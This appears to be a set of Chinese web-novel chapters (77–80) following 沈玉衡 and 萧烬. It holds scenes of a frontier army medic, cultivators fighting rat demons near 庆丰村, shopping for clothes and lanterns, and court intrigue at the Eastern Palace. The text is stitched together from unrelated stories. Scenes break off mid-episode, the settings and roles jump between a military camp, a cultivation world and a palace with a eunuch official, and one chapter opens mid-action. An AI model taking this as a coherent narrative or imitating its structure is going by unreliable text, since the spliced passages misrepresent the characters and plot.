胡郎中这才回神,脑门都冒出汗了,结巴道:“这、这……伤成这般,我也治不了啊。” 听他这么一说,把人抬来的一个大汉顿时急红了眼,蒲扇似的大手一把抓住胡郎中,掌上还满是血,差点把瘦巴巴的小老头整个拎起,急吼道:“怎会治不了?你不是营里最厉害的郎中吗?快救他,快救救他啊,我就剩这一个弟弟,家里老娘还在等他回去……” 说到一半,八尺多高的大汉,声音竟忽然哽咽。 身旁一同跟来的士兵也一脸着急,更有感同身受的,同样红了眼。 沈玉衡听他们你一言我一语,很快明白情况,眼前这个抓着胡郎中的大汉叫张虎,受伤的是他弟弟张河。 张家是军户,按朝廷制度,要抽丁从军。从军未满役死了,还要再抽人补上。 这些年边疆战事不断,张家先是张老爹和两个儿子被征兵,后来爹死了,儿子补上,儿子死了,剩下的儿子又补上……到如今,从军的兄弟里,只剩老大张虎和老四张河。去岁大疫,唯一留在家中还未长成的幼弟又不幸夭折,老娘在家里哭瞎了眼,只盼仅剩的两个儿子能平安回去。 偏偏两兄弟今天奉命到塞外巡逻,突然遭遇小股胡人伏击,弟弟替哥哥挡刀,不幸腹部被砍,性命危在旦夕。 “唉,真是‘麻绳专挑细处断,厄运只找苦命人’。”之前还围观的伤兵,这会儿也都摇头同情。 刚刚和那个男人靠的如此之近,居然都没有察觉到这是义眼。 男人更骄傲:“当然,这工匠可是我好不容易抓……请到的人,手艺自然是最好的。” “只是近来每逢雨天就疼痛不止,你帮我看看,是不是这义眼有什么问题。” 沈玉衡检查了一遍那义眼,就放了下去。 沈玉衡让男人凑过来,在光亮处照了照里面那骇人的空洞,转身去药柜里取了一瓶药递给他:“回去后每日在伤处敷药,少受凉受寒,一个月后再来。” “多谢,可惜少受寒是做不到了。” “为什么?” 他耸肩:“天天在山里日晒雨淋,怎么可能不受凉。” 沈玉衡默默扫了几眼男人,才注意到他身上肉眼可见许多细小淡色的伤疤。 山里……所以,这人是军营里的人? 第 77 章 第 77 章 77 沈玉衡之前也救治过几个城外驻扎的士兵,听他们说山脚一带到了夜晚阴气湿气非常重,旧伤阵痛是常有的事。 沈玉衡想了想,又让他拿了些驱寒的药丸,男人微笑着收了。 两人的手碰到一起时,沈玉衡的手心被飞快地塞入了一个圆滚滚的东西。 他惊讶,而后无奈地看了对方一眼。 犹豫了一会,他终于还是决定告诉对方—— “可以赊账,但不接受用蛋抵……” “……”男人不可置信地看了他一眼,沉默了半天,问:“什么蛋?” “……鸡鸭鹅蛋都不行。” 日上三竿,艳阳当空。 好在入秋的太阳并不灼人,反倒给凉风习习的山涧带来了一丝暖意。 沈玉衡在山下的准备做完后,便上山随意挑了一条树杈呆着,起初他还是盘腿而坐,盘酸了,他就把腿翘起来,后来腿又翘麻了,只能倚在树上,找了个舒服的姿势坐下。 ……百无聊赖。 就在他犹豫着要不要先喝一壶睡一觉时,耳边的风吹草动,忽然混入了一丝模糊难辨的人声。 沈玉衡精神一提——总算来了! 他探头看向山路的方向。 这条山间小道不知是何时何人所造,崎岖陡峭,除非是熟知地形的当地山民,任谁都要在这儿栽两个跟头,也就是在这条道上,两个少年正一前一后地赶着路。 他们着的是素色道袍,戴的是玄凤高冠,身手之轻盈,绝非凡人所能及。 两个人? 沈玉衡悄悄望过去,才发现走在前头的,是一张平凡到踹进人群里立马就能找不到人影的陌生面孔,而他的名字……沈玉衡猜测不是叫王小二就是叫李小四。 暂且就叫他王小二吧。 王小二在半山腰处停下脚步,拨开层层林叶,转头喊道:“师兄!往前没多远就到了,我们再快些走吧。” 沈玉衡顺着他的视线望了过去。 从石阶处走下的少年身材颀长,相貌清隽,垂下的冷眸透出半分隐忍,半分压抑,除此以外,在他的眼中看不到一星半点这个年纪该有的鲁莽或直率。 虽然与他记忆中的那张面孔相比年轻了不少,但那个眼神,他却不会认错。 片刻的愣神后,沈玉衡的心下稍有所触动。 他突然发现,关于萧烬的过去,他似乎一无所知。 沈玉衡只知道萧烬的生父生母走得早,长大后,养母也患病离世,这以外,他究竟去过哪些地方,认识过哪些人,便不得而知了。 他们的关系也止步于此:一人不问,一人不说,倒也相安无事。 如果这一世能有所变化的话,或许也不错? 沈玉衡隐藏起气息,轻盈地从一根树杈越到另一根上,悄悄跟了上去,捉摸着何时出现才不会引人怀疑。 毕竟他现在这身打扮,实在是…… 沈玉衡把自己额上贴着的一张张黄皮符纸黏黏牢,又再往身上拍了些尘灰,继续潜行在了两人身后。 王小二和萧烬脚步不停,全然没有察觉到身后的动静。 前者是实力不足,以至于根本毫无察觉,而后者,却是因别的理由无暇顾及这些身外之事。 他们走了没多远,王小二就不淡定了,他先是试探地看向萧烬腰间的长剑,又悄悄看向这位冷冰冰的师兄,鼓起勇气问道:“师兄,那剑……无妄剑真对这儿有反应?” 萧烬侧过头,盯着因为不敢搭话而缩着身子的王小二,轻轻启唇,惜字如金地吐出了一个“嗯”字。 王小二这下彻底没了主意。 如果换做其他师兄,回复他的肯定是一句能让人接话的句子,诸如:“是啊,连这把除魔之剑都有反应的话,恐怕这个地方危机四伏,小二你要多加小心。” 可萧烬的回复是:“嗯。” 沈玉衡好笑地盯着王小二忽地别过脸去,向山路一旁的林子表演了一番何为表情丰富,何为低头丧气。 “——小伙子?小伙子!” 突兀的呼喊声忽然从身后响起,三人同时闻声回头,看见他们身后的山路一角,慢悠悠地走来了一个背着大木箱子的白须老伯。 王小二瞧见他那冷面师兄以外的活人,立刻高兴起来,“老先生,有何事吗?” “哦,我就是想问问,这条山路下去,是不是就到庆丰村了?” 这道题他会!王小二兴致勃勃地刚想开口,却被一道莫名的霸道力量强行‘关’上了嘴,只能从喉咙勉强发出“唔唔嗯嗯”这样意义不明的声音。 那白须的老头奇怪地瞧着王小二不肯开口的样子,有些摸不着头脑,“嗯?到底……对还是不对呀?” 王小二自知无力,赶紧向他师兄投去了求助的眼神,却见到萧烬同样也是紧闭着嘴,向他默默摇了摇头。 得手的沈玉衡从树杈上跃下,拦在了沉默不语的两人身前,指着反方向说:“老先生,你走错啦,庆丰村是往那儿走的,还要越过两个山头才到呢。” “往那儿走……?那看来,是我这个老东西记错了,小伙子,谢谢你了。”老伯从身后的木箱里摸出一颗金黄色的软杏,塞进了他手里,“这个,甜的,你拿去吃吧!” “谢啦。” 沈玉衡笑着接过杏子,挥手送别了这个赶路的老伯——老人家热心得很,走之前还不忘探探头,担忧地看向那两个沉默不语的少年。 沈玉衡转过身,将软杏含在嘴里,不顾王小二在他面前无声地张牙舞爪,将一张灵符从袍子里抽出,一撕为二。 随着符纸的破碎,凝固在灵符上的黑色符文也渐渐缩小,直到消失。 王小二发现嘴上的禁制消失,立刻摆出迎战姿态。他抽出腰间长剑,剑锋直指向这个瘦的弱不胜衣,满脸贴着黄色符纸的诡异家伙,“你!你是什么人?!为何要骗那个老伯,想对我们做什么!给我从实招来!” “别激动,别激动。”沈玉衡一手拿着啃了一半的软杏,仅凭指尖就把王小二手中的长剑给整个按了下去,“我这也是为了那个老伯好,你们不也发现了?这个村子有所古怪。” “古怪?你是说……” 沈玉衡向着山崖处轻轻挥了挥手,遮挡着山下景象的层层枝叶便整齐地弯下腰——由此处望下去,正巧能看到庆丰村的全貌。 王小二探出身子,望着村子周围这一圈赤红色的诡异符文,不禁道:“这,这符文倒真是很古怪……” “那是我画的除魔符文……我说的是别的气息,气息啊。”沈玉衡摇摇头,余光趁机看向另一人,“你师兄应该闻得出吧。” “妖魔。” 萧烬冷冷出声,依旧是惜字如金。 “妖魔?这村子里有妖魔?”王小二听完一下慌了,若真有妖魔出现,可不是他们这种金丹弟子可以与之为敌的! “不必惊慌,气息很微弱。” 虽然是在和王小二说话,萧烬的视线却没有一刻从沈玉衡身上移开过,那样“热情”的眼神,就算他不想发现都不行啊。 沈玉衡起初并没有在意,但渐渐地,他总觉得背后有一条蛇吐着信子,沿着他的背脊一路向上舔去…… 浑身发麻。 然而,一旦他回望过去,萧烬又像闻见风声似的,神色平常地收回视线,好像什么也没有发生过一样。 虽然,确实是什么也没发生。 沈玉衡心想:大概是他多虑了吧,毕竟都死过一回了,肯定比前世更加敏.感了。 兴许是因为发现他也懂一些除魔之术,萧烬并未反对他的随行,沈玉衡便更加大胆,直接走在了他的身边。 但王小二却对他的随性而为有意见了。 “你知道我师兄是谁吗?” 王小二一说出这句话,沈玉衡就皱起了眉。 他好像已经能看到一个小人站在王小二头上,展开一卷百米长的卷轴,朗诵道:“接下来,是《萧烬干过什么了不得的大事第九百九十九篇》……” 果不其然,王小二的话闸子一开就没完,从他师兄是怎样以金丹胜炼虚,赢过那位问天楼十君子之一的剑侠秦珅,再到他师兄是怎样被洛神君项逐天热情收徒,又凭借他的谦虚感化了那传说中的邪恶淫仙沈玉衡。 ……嗯?这个邪恶淫仙是怎么回事??? 王小二得意地指着萧烬腰上那柄收在漆黑剑鞘中的长剑,道:“除魔神剑无妄剑认不认识?这可是那位贤王留下的宝剑,为了讨好我师兄,那洛神君可是煞费苦心……” 萧烬快而狠地瞥了他一眼:“师弟,不可胡说。” 被这么一瞥,王小二立刻耷拉下的脑袋:“哦……” 毕竟再怎么夸,人家是凤凰的还是凤凰。低头一看,自己却还是那只没毛的鸡。 不过王小二夸耀的那柄剑,沈玉衡倒是对它的其他功能很是熟悉。 上辈子,萧烬拿着那柄无妄剑可是干了不少活——砍树,劈柴,切菜,削皮,农活功能四合一,实在是一柄上好的宝剑! 至于什么除魔神剑?那种说法,沈玉衡还是第一次听说。 毕竟在以前,萧烬从不主动提起关于他自己的事情…… 走到离村子不远处的山脚下时,王小二还不忘收尾:“总之,一会儿到了村子,你就知道师兄有多受欢迎了。” 沈玉衡笑出了声:“这可不一定吧。” “你!”听出沈玉衡口中的嘲笑之意,王小二脸上一红,“你自己往前瞅瞅!我师兄幼时是在这儿长大的,每回他回村,都这么围了好大一圈人!” 沈玉衡耸耸肩,敷衍道:“是是是。” 沈玉衡顺着他手指的方向看去,地方不大的一个小小村口,确实围着满满一圈人,密密麻麻望不见头——恐怕全村的人都在这儿了吧。 他将脸上的黄色符纸压低,大摇大摆地跟在了两人身后。 一望见他们三人靠近,立马有几人小跑着上前,一个长发披散的女子最为夸张,大步奔上前的动作,竟是都显得恐惧又慌张了。 萧烬忽然意识到什么,皱起眉,疑惑地看向身后不紧不慢走着的沈玉衡。 与此同时,女子的一声叫喊骤然响起,吓坏了伸手想要扶人的王小二。 “仙公啊——!” 跟随在女子身后的,前前后后竟是有十余人,他们径直越过愣神的王小二和沉默的萧烬,奔到了沈玉衡的脚边。 这十几人围扑到了沈玉衡的身前,为首的女子首先声情并茂地高喊起来:“仙公啊!你可算回来了!快救救小女一家的性命吧!” 她喊完,身边的十几名男女老少也相继附和,恳求着这位活神仙能除掉村里的恶鬼邪神,以守护他们家宅平安。 在这些虔诚的目光之外,他注意到了另一道视线。 越过簇拥的人群,萧烬沉下眼,将手按在了腰间的剑鞘上。 沈玉衡忽然觉得阴风吹过,脖颈一凉。 这一回,绝不再是他的错觉了。 对方毫不客气: “能暂时在你这住几天吗?” “……” 原来医师还有这样的责任?病人无家可归,还要负责收留? 他看着对方一身不算厚实的衣服,打仗是方便活动,但绝对不算厚实。 沈玉衡犹豫了一会,叹了口气,把门锁取下来。 男人笑逐颜开:“多谢。” “你叫什么?” “嗯?” 那人盯着他,两只眼睛直直的,没听见似的。 问名字是什么很值得惊讶的事吗? “我说,你叫什么?”住在同一个屋檐下,总归不能一直喊“喂”吧? “岳枫。”男人盯着他,目光带着几分炙热:“我叫岳枫。” 第 78 章 第 78 章 78 那一瞬,沈玉衡确实是慌了阵脚。 前世同床共枕数十年的萧烬……不会是断那啥袖吧??? 萧烬哪知他心里风云变幻,只是皱着眉看向怀里这个不安分的人,压低声音道:“别动。” 沈玉衡刚想发脾气,可嘴边的话还未说出口,抵在自己腿上的这根怪东西忽然像是成精了一样动起来,这架势,甚至是有破土而出的意思。 不对,这个是……萧烬的剑? 嗖—— 一阵强风在脸前呼啸而过,抵在他腿上的硬物也随之消失不见,而萧烬的脸色就不是那么好了,他立刻跳出柜门,追着像是成了精的宝剑来到了窗前。 自己的胡思乱想果真只是胡思乱想——沈玉衡在庆幸之余,也小跑到窗前。 面对屋外奇妙而不可思议的光景,他忍不住嘴角抽搐:“这就是除魔神剑?” 怪不得说那无妄剑是除魔神剑。 屋外,鬼人鼠群的惨叫声此起彼伏地响起,而混杂在其中的,还有一声声皮肉的撕裂,贯穿声……这柄剑,竟然像活物一样,和妖魔们厮杀在一起。 虽然表面上,这确实替他们省了事,但…… “你收不回来那把剑?” 萧烬垂下眼,应声道:“嗯。” 那这就麻烦了。 剑是不懂如何使用,保养自己的——若它连剑主的命令也不听,这样粗暴地斩杀,如果剑主不及时强行取剑,恐怕妖魔还未杀尽,它就先一步崩口卷刃,沦为一柄废剑了。 “我去取剑,你留在这里。”说完,萧烬立刻翻出窗子,径直向着被无妄剑所吸引的鬼人鼠群走去。 沈玉衡自然是不会乖乖听话,他不紧不慢地跟在少年身后,“你连武器都跑了,还想怎么取剑?” 萧烬扫了他一眼,“你留下。” “为什么我留下?” 萧烬停住脚步,转身正色道:“你我同为金丹,还是让修为更上乘者去比较好。” 人人皆知上青峰主荒废仙途,修为低下,百年不破金丹。 不愿再同他争论,年纪轻轻就已升为金丹后期的萧烬默默离开,走向鬼人鼠聚集的,无妄剑所处的中心位置去。 沈玉衡依然不听劝地跟在他身后。 他也不在乎萧烬对自己的误解,只想看好自己未来的徒弟,免得他被那些恶心的妖魔伤了身子。 沈玉衡看向血肉纷飞的鼠群中心。 无妄剑不愧为除魔神剑,一番血腥十足的厮杀下来,鬼人鼠的数量已经少了大半,渐渐的,它们像是也感觉到了恐惧,和这柄快要杀红了眼的剑精离得远远的。 萧烬趁此空隙,一个箭步跃上了一具鼠尸的头顶,想要拔出刚刚刺进这个妖魔头颅中的长剑。 好想法,但,总会有意外发生。 在萧烬握上剑柄的一瞬间,他脚下原以为死透了的尸体忽然动了起来,伸出长而尖锐的爪子,向着头顶上滞住脚步的少年狠狠抓去。 萧烬额上淌下一滴冷汗,沈玉衡却并不意外。 鬼人鼠智力本就不高,仅存的一点大脑并不是足以致命的部位,只是单单攻击到那儿,是杀不死这些妖魔的。 思索之时,沈玉衡已然极快地从袖口抽出一张灵符,向着身前掷去。 符纸上形似狂草的文字闪烁出淡淡的微光,随即钻出一条长约百尺的火蛇,张开血盆大口,狠狠咬上了鬼人鼠的脖颈,瘦长的鼠妖痛苦地仰天嘶鸣,本要刺向萧烬的利爪,如今也软软垂下,跌落在冰冷的土地上。 鬼人鼠一死,萧烬再次握住了仍想胡来的长剑剑柄,将自己体内的灵气重新注入,这柄闹腾个没完的剑货总算乖乖服软,重新回到了剑主的掌控之中。 萧烬放心下来,抬头仔细地打量起了眼前的巨大火蛇。 这条来去自如的火蛇显然代替无妄剑,成为了鬼人鼠们恐惧的下一个对象——明明可以一口咬死的猎物,它却颇有耐心地先用身体缠绕其上,让自己滚烫的红色蛇皮卷住鬼人鼠的每一寸肌肤,恶趣味地听着它在自己怀抱中痛苦地惨叫,最后在自己热情的紧缚中融为一滩焦黑色的鼠泥。 即便鬼人鼠自己才是真正的阴邪妖魔,却也被同伴如此凄惨的死相吓了一跳。 要是它们能开口,肯定要惊呼:好狠!好变态的蛇! 萧烬默默看向一旁的罪魁祸首。 悬浮在半空的符纸旁,沈玉衡的右手在空中一笔一划,愉快地操控着这条火蛇的动作,颇有一种在后院种花喝茶的闲适感。 沈玉衡的指尖每一抬,每一划,都带来一阵鬼人鼠凄冽的惨叫,半晌过后,不用萧烬再出手,他们目光所及之处,已经鲜少能见到活鼠的身影了。 金丹又怎样,修为低又如何?只要摸清了敌人的方位和实力,他照样能把这堆妖魔吊起来打! 身后又一股腥臭的气息靠近,沈玉衡也不以为然,依照鬼人鼠的智商,还想不出什么偷袭的伎俩…… 萧烬忽地绷紧神经,一把将专心操纵着火蛇的沈玉衡带到自己身边,才不到半秒的功夫,他刚刚所站的位置便被五个大且深的孔洞所代替。 沈玉衡一下愣住,要不是萧烬及时把他拉开,那五个孔洞,恐怕就会是他身上的五个血洞了。 “嘶……” 伴随着鬼人鼠特有的鬼不鬼鼠不鼠的嘶吼声,扑面而来的尸臭味让两人都皱起了眉头,沈玉衡也在此刻发现这头鬼人鼠的异常之处——比它的同类更加高大壮硕的身材,以及因为过于巨大而露出嘴外的獠牙,甚至有着懂得背后偷袭的智力…… 这头非比寻常的鬼人鼠一出现,其他还活着的小鼠像是得到了鼓舞一般,纷纷怒吼着挺身上前,一起把沈玉衡来不及操纵的火蛇压在身下,也不管嘴巴会不会被烧焦,奋力地啃噬着火蛇高温却柔软的身体。 虽然火蛇没有那么脆弱,但是短时间内也无法脱身前来支援。 沈玉衡看向这头有着智力的鬼人鼠,它恐怕是这群妖魔的头领——是鼠王一般的存在。 鼠王的爪子很快又向他们袭来,萧烬即刻挥剑而出,好在他实力确实不虚,剑招快到沈玉衡只能见到些许残影,替二人生生扛下了好几次足以致命的攻击。 正面交手,火蛇很快占据上风,被沈玉衡操纵着,在鼠王身上东咬一口西咬一口,到后来,那火蛇自己也受不了,暂时停下攻击的动作,狠狠呸掉了嘴里咬出的满口臭液。 沈玉衡见它不受控制,只好用力按了两下食指指尖,示意它继续去咬鼠王满是尸血的身体。 火蛇悲愤地吼了一嗓子,继续开始埋头狂啃起来。 ——主人,主人你好狠的心! 被火蛇接替的萧烬缓缓退后,向沈玉衡走来时,却忽然惊讶地瞪向他身后——他鲜少会有这样直白的反应,沈玉衡自然也意识到了自己身后的危险所在。 还有漏网之鱼吗? 沈玉衡默默看了眼脚下。 两头鬼人鼠的影子,正倒映在自己脚下的大地上,被拉长为一左一右——两条极为细瘦阴森的鬼影。 萧烬眼疾手快,飞身上前,剑锋直指鬼人鼠的脖颈要害,手起剑落,血星飞溅,萧烬甩去其上的粘稠鲜血,重新收剑回鞘。 萧烬出手,确实安心多了。 沈玉衡放心地低下头,扫了眼脚下的三条脚步虚浮,晃晃荡荡的鬼影。 ……三条? 他猛然回头,发现鬼人鼠这恶心东西竟然还分公母!在这头死去的母鼠腹中,竟然跃出了一头身材更为瘦小,浑身胎液的幼体妖魔,而它尖锐可怖的灵活爪牙,和萧烬……恐怕只有一掌之隔。 杀死鼠王还是保护萧烬?这个问题根本用不着犹豫。 灵符飘落在地,化为一张普通的废符。 而沈玉衡全力掷出的符剑,总算将萧烬眼前仅有一寸远的利爪拍歪。 “你……” 萧烬退后几步,额上的冷汗倏然滑落,不可置信地望着丢下灵符,扔出符剑后,已然手无寸铁的沈玉衡。 萎缩的鼠头不以为然地灵活一转——更改了它的猎物。 一晃眼的功夫,白与红,这两种色彩在沈玉衡的眼前骤然闪过,右臂上迟来的疼痛几乎要逼得他失神昏厥——皮,血,肉,骨,还有没有剩下的,他不敢确定。 被这恶心又蠢笨的妖魔伤成这样,看来他确实在人间玩了太久,太久了。 在这里倒下也无所谓,只是……萧烬对付得了这两头怪物吗? 他努力睁开眼,想找到萧烬所在之处。 那之后,在凡人绝对无法理解的瞬息之间,鬼人鼠的身躯就如同坠地之玉佩,被从天而降的巨大光亮劈成了一块块碎肉。 漫天尸血与腐液的臭味中,传来了阵阵洛神花香。 第 79 章 第 79 章 79 用过早膳,沈玉衡也不耽误时间,立刻带着少年上街去了。 他站在萧烬身侧,侧头望着少年好奇张望的样子,心中不禁更为高兴起来。 能让萧烬觉得感兴趣,什么都是值得的。 萧烬忽然放慢脚步,他眼前一亮,盯着一家街角的小铺子出神起来。 “那是什么?” “哪个?” 沈玉衡闻声,也向那方向望过去,瞧见一个老师傅正坐在门口小心地摆弄花灯,便答道:“噢,那是做纸灯的。” “纸灯?” 沈玉衡试着解释:“就是用纸包着蜡烛,夜里提在手上的灯。” 萧烬似懂非懂地点点头,刚想起步再走,沈玉衡却先走进了店里。 “萧烬,喜欢哪一个?过来挑挑吧。” 兔子,猴子和鲜花模样的纸灯最为多,其余的种类各不相同,让人目不暇接。 可还没等萧烬选好,正忙着赶工做纸灯的老师傅就凑了过来,他慈眉善目,个头不大,让少年觉得少许有些亲切。 老师傅弯下腰,小心地说:“客官,不好意思啊,这些都不卖的。” 沈玉衡觉得奇怪,扫了眼满屋子大大小小,形态各异的纸灯,皱眉问:“全都不卖?” 老师傅点点头,面露歉意地解释说:“这中秋不是快到了吗?小店单子多,做完的也只能摆面上,还请客官原谅……” 沈玉衡想了想,回道:“这样,那我也定一……” “师父,算了吧。” 萧烬突然出声,打断了他的话。 “先去买衣服吧。” 不等他回答,少年就默默抬手——把沈玉衡提了出去。 ……??? 沈玉衡脚一落地,便抬头问他:“怎么了?既然喜欢,干嘛不去定一个?” 萧烬先点点头,可他动作一顿,转而又摇了摇头,否认了沈玉衡的话。 “他很累了,算了吧。” ……萧烬,居然在担心这个? 沈玉衡无奈一笑,“没人会不乐意做生意的。” 少年还是坚持说:“可他累了。” 他一旦在这上面固执起来,别人是绝对劝不动的。沈玉衡深知于此,也不在意,拍拍他的肩,柔声劝道:“这次就不买了,但你得答应我,下次遇见喜欢的,不能再这样了。” 萧烬答得稍许有些犹豫,“可……” “连一个纸灯都没法送你,我这师父做的也太没用了。”沈玉衡的语气几乎能算得上是劝诱,“萧烬,你若总是忍着让着,我心里也是要不好受的。” 这样求徒弟收好处的师父,他大概是唯一一个。 反驳的话语刚到嘴边,萧烬就望见他一脸可怜无辜地盯着自己,张着的唇又慢慢闭上,最后还是叹了口气,不忍再争。 “……嗯,下次。” 他们继续往前走,很快,不过半条街,就找到了沈玉衡记忆中的那间店面。 百花宫的地段极好,周围的街面漂亮又繁华,然而唯独这间小店的门面,除了一张陈腐的木招牌外,再没有多余的装饰。 如果单凭店门口的长相来说,比较起路上遇见的其他成衣铺,这间店面只能称得上是一间破败的小作坊。 沈玉衡满意地推门而入,“就是这儿了。” 萧烬后一步跟上,直到看清屋中的壮观景象过后,才明白沈玉衡为何选中此处。 门面虽寒酸,店中的布置却是另一番天地——老旧的木屋中异常整洁,一尘不染,一排排木柜整齐存放着各类布料,种类之繁多密集,绝不是那些成衣铺所能与之相比的。 每一层木柜上的布料都堆得严丝合缝,萧烬对店主近乎病态的整洁嗜好感到吃惊,不禁朝其中一处多留意了一会儿。 “怎么样?是不是看中哪匹布了?” 沈玉衡走上前,抬手想指,脑袋却立刻硬生生地挨了一记打。 “欸疼疼疼……你这臭老头干嘛呢?!” 萧烬这才发现身旁站着一位高瘦的老人,正一脸怒容地拿拐杖狠狠往沈玉衡身上砸去:“混小子!我说没说过不要动那里的布!” 惨了……! 沈玉衡光记得这间店是城中数一数二的制衣店,却一时忘了这儿的老板,正是那个脾气暴躁到臭名远扬的陆老裁缝。 前世他曾答应过百花宫的姐姐,替她们在这儿订几套衣服,结果却差点和这个倔老头吵得打起来,险些把这破楼都给掀了。 “等等等,我又不是碰……” 眼看那高高的拐杖又要落下,沈玉衡偏过身子准备承受,却没迎来那预想之中的疼痛。 萧烬默默将悬空的拐杖握住,没有夺走,却也不让它落下。 老者冷哼一声,斜眼瞥向这陌生少年,沉声道:“小孩儿,放手。” 萧烬稍稍放松了力气,但仍不松手。 “别动他。” 陆老裁缝虽然年纪大,力气和脾气却都不小,拽着拐杖向外发力,想要挣脱少年的控制,却终是以失败告终。 他气得跺脚,“啧,不动不动!不动了行吧!” “嗯。” 萧烬闻言,立刻收力,将拐杖小心放下,递回了老人的手中。 老人摸了把花白的胡须,不屑道:“臭小子,你还真是找了条好狗。” 这张嘴,倒还是一如既往的毒。 沈玉衡装作没听到,侧身向陆老裁缝介绍:“这是萧烬,我徒弟。” “我管你月不月日不日的?挑完了没有?当所有人都跟你一样闲?” 老人一张口,语气就颇为不耐烦,换做常人来应付他,不过三句,准是要被气跑的。 换沈玉衡来,他更是觉得气的。 沈玉衡心中反复默念:为了徒弟穿好看,忍一忍,让一让,海阔天空萧烬笑…… “陆老……” 可沈玉衡还没喊完,就发现萧烬竟然……和这个倔老头聊起来了??? 倒也说不上是聊天,萧烬只是时不时说上只言片语,但却意外地合这老头的意思,不一会儿,就被陆老裁缝连拖带拐地推入了屏风之中——竟是直接替他直接换上了一件成衣。 沈玉衡放松了许多,盘腿坐在一旁,耐心等待着屏风中更衣的少年。 新衣上身,萧烬似是有些不习惯,左右细细一看,才从屏风中走出。 沈玉衡慵懒眯起的双眼,终于缓缓睁开。 少年身披藏蓝衣衫,其上纹有波涛脉络之图,像是将滔滔海水披挂上身,深邃内敛,全隐于此。 “你小子,眼光倒是好,挑了这么个宝贝料子。”陆老裁缝点点头 ,满意地欣赏着眼前的杰作,“这件衣衫……距我做成那日,已经不晓得过了多久了,若能有人穿走它,倒也是了却我一桩心愿了。” 如此一件华美却不失肃穆质朴的衣衫,萧烬自然是满意的,但下意识的,他还是想着先去问沈玉衡:“师父觉得怎么样?” “嗯,这身很好看。” 沈玉衡的声音不掩兴奋,这件冷色的衣衫既衬出了少年喜静的性格,又蕴含着一种澎湃大气,不会让他显得过于冷漠——这件衣衫若是没有遇上萧烬,或者萧烬没有遇上它,都应当是一种损失。 付完银两过后,萧烬干脆就将旧衣收起,换上这身藏蓝新衣出了门。 这儿地段极佳,屋外的行人多是些无所事事的富家子弟,华服高冠,招摇过市。 萧烬一身藏蓝,清冷不温,走过大道,恍若西风卷帘——任凭翠衣玉缕擦肩而过,也丝毫不为所动。 反倒是那些富孔雀们,不时就往他们这儿瞄过来,想看清这清隽少年的真容。 但一旦成了众人的焦点,自然也会引来一些不速之客。 这些人的眼神是带刺的,一路扎着他们两人,不肯轻易离开。 也多亏了他们比凡人更胜一成的听觉,那些不善的言语,一五一十落进了他们耳中。 沈玉衡狠狠剜了眼那些不积口德的小少爷,加快步伐,拖着少年往回赶。 直到回到百花宫时,周遭的一切,才总算清净了起来。 方才所包围他的的视线,私语,一切喧闹繁杂,立刻又都显得遥远模糊起来。 “觉得吵闹吗?”沈玉衡问他。 “有些。” 他又补充说:“……只是,不适应罢了。” 沈玉衡见他有些烦恼,也不多问,只是开了一壶新酿,抿上一口,才走到了少年的身边。 “这附近有些乱,多得是那种人,你要是不喜欢,我们就少出去。” 萧烬径直走至窗前,垂眸望下,再次瞧向了街上的热闹。 “那,师父喜欢这儿吗?” “喜欢。” 这两字,他说得毫无犹豫。 那会儿,沈玉衡眼里像是迸发出火星子一般,闪过一道莫名的热烈。 当然,在背地里对萧烬指指点点的那帮人,他确实是厌恶的——但即使是这些惹人厌的家伙,也是架构这人世百态的某一处零件。 青年坐在窗边,倒满一杯桂花酒。 酒香漫静室,两人就这样相对无言,许久过后,他才接着说了下去。 “萧烬,我是生在仙界的……到后来,发生了些事,才逃来了这儿。” 沈玉衡的视线缓缓降下,却好像在看很远,很远的地方。 “这些凡人,远比那几座破山头上的人精彩多了。从前在山上,只有人教过我非黑即白,善恶两面,可人间却不同——除了黑白两道外,红的,绿的,模糊不清的,什么样子的活法都有。” “萧烬,山上总有人想把你刮成他们唯一喜欢的白色,但我也希望,你能够在这世上的某处,成为某个不同的……你。” 光打在他面上,朦胧明灭,像是他自己正发着淡淡的微光。 萧烬仍是有些不理解他所说的话,但沈玉衡的面孔落进他眼里,他却忽然气息一滞,像是,被人捏住了心扉。 沈玉衡见他迟迟不答,似是有些苦恼,便将酒水往外一推,笑说:“我这不是喝了酒,话多了些嘛。萧烬,你要是不明白,就当我在乱说话吧。” 萧烬盯了眼那杯未动一口的酒水,正色道:“师父没乱说。” 沈玉衡清爽地笑了两声,没再继续这个话题,而是拉着少年坐下,将那壶桂花酿推给了他。 萧烬皱起眉,“我不会喝。” “甜的,你尝尝看。” 少年拗不过他,只得捧起酒杯,小心送至嘴边,轻轻抿了一口。 “怎么样,没骗你吧?” 酒香萦绕中,萧烬看见沈玉衡将脸颊撑在掌心中,微眯起双眼,笑得深,也沉。 “嗯。” 少年埋下脸,简单应了一声。 确实是,甜丝丝的。 第 80 章 第 80 章 80 小圆子怕他是不高兴了,回去的路上还多问了句:“殿下可是恼了?” “没有。”沈玉衡摇摇头,确实很平静:“只是时辰也差不多了。” 他腿脚慢些,快到东宫时,也确实刚好遇上了回来的萧烬。 沈玉衡微顿,前几日萧烬就与他说了日后见了他不用行礼,故而他只是道了声:“厂公。” 他身后的人则是跪了一片:“千岁爷。” 萧烬嗯了声,到沈玉衡身边,同沈玉衡一块往东宫那边走去:“遇见十皇子了?” 沈玉衡并不意外他这么快就知道了:“是。” 萧烬意味不明地扯了下嘴角:“觉得他怎么样?” 沈玉衡认真地想了想:“笑面虎。” 因为发现了萧烬并不讨厌他的聪慧,甚至愿意让他读更多的书,沈玉衡也不藏着这份锋芒了。 萧烬被他这三个字评价的彻底笑起来,那淡淡的情绪都阴转晴:“眼光倒是不差。” 沈玉衡看了他一眼,被他捕捉到视线,萧烬拖着语调:“想说什么便说。” 他一副想问什么都可以的姿态,叫沈玉衡鼓起了些勇气,试探着斟酌问了句:“他是为…杜侍郎贪污一案么?” 萧烬确实不介意他问朝堂之事:“嗯,皇后的亲弟弟,就是户部尚书,薛家的,也牵扯在了里面。” 他想到这儿,嘴角的笑容又有些晦涩不明起来,似是讥嘲,似是看好戏,还有几分冷然:“薛相里平日光明伟大正直,却教出了一个苛责下人的女儿,一个贪污赈灾银两的儿子,也不知道他会不会羞愧到找根白绫吊死。” 他这话显然是夸张的,萧烬自己也知。 但沈玉衡模糊品到了一点他的杀意,估摸他们之前可能有仇。 ……怎么可能没有仇呢。 朝堂之上,非友既敌。 薛相又有外孙十皇子是皇后嫡出,自然想要扶持。 萧烬如今看着似乎一手遮天,可其实这盘根交错的地底下,暗流从不静止。 他是接手的夏士诚的摊子,而非自己一手建立的“王朝”,就算是他手底下,也说不定有人想看他倒台,然后为自己谋取更大的利益。 这便是人。 沈玉衡幼时就明白了这个道理。 沈玉衡其实很想问萧烬打算如何,他不是想参与,而是好奇。 